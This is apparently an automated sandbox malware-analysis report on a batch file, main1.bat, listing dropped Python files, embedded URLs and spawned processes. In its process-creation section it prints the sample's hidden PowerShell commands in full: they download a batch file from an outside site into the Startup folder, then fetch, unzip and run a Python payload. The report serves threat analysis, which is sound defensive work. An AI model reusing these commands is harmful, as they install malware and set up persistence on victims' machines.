Source: decoder.py2.3.dr, encoder.py.3.dr, encoder.py1.3.dr	String found in binary or memory: https://github.com/pyasn1/pyasn1/issues/9
Source: __init__.cpython-310.pyc4.3.dr	String found in binary or memory: https://github.com/pypa/packagingz
Source: tags.py.3.dr	String found in binary or memory: https://github.com/pypa/pip/issues/3383#issuecomment-173267692
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25681000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25679000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000009.00000003.2743096170.000001C2AB1E1000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2734821537.000001C2AB1DA000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2727519010.000001C2AB1F5000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2727367935.000001C2AB270000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2729452243.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2731311399.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2734706506.000001C2AB277000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2730167239.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2730284253.000001C2AB1DE000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2751417219.000001C2AB1D2000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2732908068.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2731511216.000001C2AB1DE000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2727367935.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2747304943.000001C2AB1E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/417#issuecomment-392298401
Source: python.exe, 00000009.00000003.2790923954.000001C2AB26F000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2790991191.000001C2AC040000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/7160#discussion_r195405230
Source: powershell.exe, 00000002.00000002.2197109998.000001B0306F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.2214604153.000001B03F687000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2214604153.000001B03F544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2197109998.000001B030EB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.2197109998.000001B030B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000002.00000002.2197109998.000001B030B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000002.00000002.2197109998.000001B0306F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2197109998.000001B030AF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24637000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pethellokity.site
Source: powershell.exe, 00000003.00000002.2867990706.000001EB22569000.00000004.00000020.00020000.00000000.sdmp, main1.bat	String found in binary or memory: https://pethellokity.site/pogba.zip
Source: powershell.exe, 00000002.00000002.2196476262.000001B02D4B7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2196821898.000001B02D720000.00000004.00000020.00020000.00000000.sdmp, main1.bat	String found in binary or memory: https://pethellokity.site/update1.bat
Source: python.exe, 00000009.00000003.2792553587.000001C2AB39F000.00000004.00000020.00020000.00000000.sdmp, posixpath.py.3.dr	String found in binary or memory: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_13)
Source: error.py.3.dr, error.py0.3.dr, univ.py.3.dr, debug.py.3.dr, decoder.py2.3.dr, encoder.py.3.dr, encoder.py1.3.dr	String found in binary or memory: https://pyasn1.readthedocs.io/en/latest/license.html
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2496E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://source.chromium.org/chromium/chromium/deps/icu.git/
Source: test_ChaCha20.py.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-arciszewski-xchacha-03
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2490C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3279#section-2.2.2
Source: _mode_siv.cpython-310.pyc.1935617217792.9.dr	String found in binary or memory: https://tools.ietf.org/html/rfc5297
Source: ECC.py.3.dr	String found in binary or memory: https://tools.ietf.org/html/rfc5480
Source: ECC.py.3.dr	String found in binary or memory: https://tools.ietf.org/html/rfc5915
Source: test_ChaCha20.py.3.dr	String found in binary or memory: https://tools.ietf.org/html/rfc7539
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2496E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/sensors/#automation
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2496E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/ua-client-hints
Source: python.exe, 00000009.00000003.2796951237.000001C2AB422000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.freedesktop.org/software/systemd/man/os-release.html
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26487000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26494000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB264AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ibm.com/
Source: libcrypto-1_1.dll.3.dr	String found in binary or memory: https://www.openssl.org/H
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25FCA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25FD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: python.exe, 00000009.00000003.2740189524.000001C2AB277000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2740677275.000001C2AB2C8000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2746616044.000001C2AB259000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2741216558.000001C2AB2D6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2746422354.000001C2AAACC000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2746338482.000001C2AB2D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2629B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2628A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB262AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26248000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license
Source: powershell.exe, 00000003.00000002.2875224830.000001EB256A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25698000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000009.00000003.2723393053.000001C2AB1E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: ECC.py.3.dr	String found in binary or memory: https://www.secg.org/sec1-v2.pdf
Source: webdriver.cpython-310.pyc.1935655791120.9.dr	String found in binary or memory: https://www.selenium.dev/documentation/legacy/desired_capabilities/
Source: webdriver.cpython-310.pyc.1935655791120.9.dr	String found in binary or memory: https://www.selenium.dev/documentation/legacy/json_wire_protocol/.
Source: powershell.exe, 00000003.00000002.2875224830.000001EB257CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sqlite.org/lang_conflict.html
Source: powershell.exe, 00000003.00000002.2875224830.000001EB259B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.statisticshowto.com/probability-and-statistics/z-score/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 185.199.111.153:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.153:443 -> 192.168.2.5:49705 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\DLLs\python_tools.cat

Jump to dropped file

System Summary

Found large BAT file

Source: main1.bat

Static file information: 9134021

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32file.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32lz.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32inet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32job.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32net.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32gui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32help.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pipe.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pdh.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Document\DLLs\_asyncio.pyd A9A99A2B847E46C0EFCE7FCFEFD27F4BCE58BAF9207277C17BFFD09EF4D274E5

Source: unicodedata.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testbuffer.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: classification engine

Classification label: mal100.expl.evad.winBAT@14/1753@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF6cdc0a.TMP

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6584:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7120:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vl51rxmf.f0x.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\main1.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\main1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\\Document\\Lib\\temp.py
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\\Document\\Lib\\temp.py	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
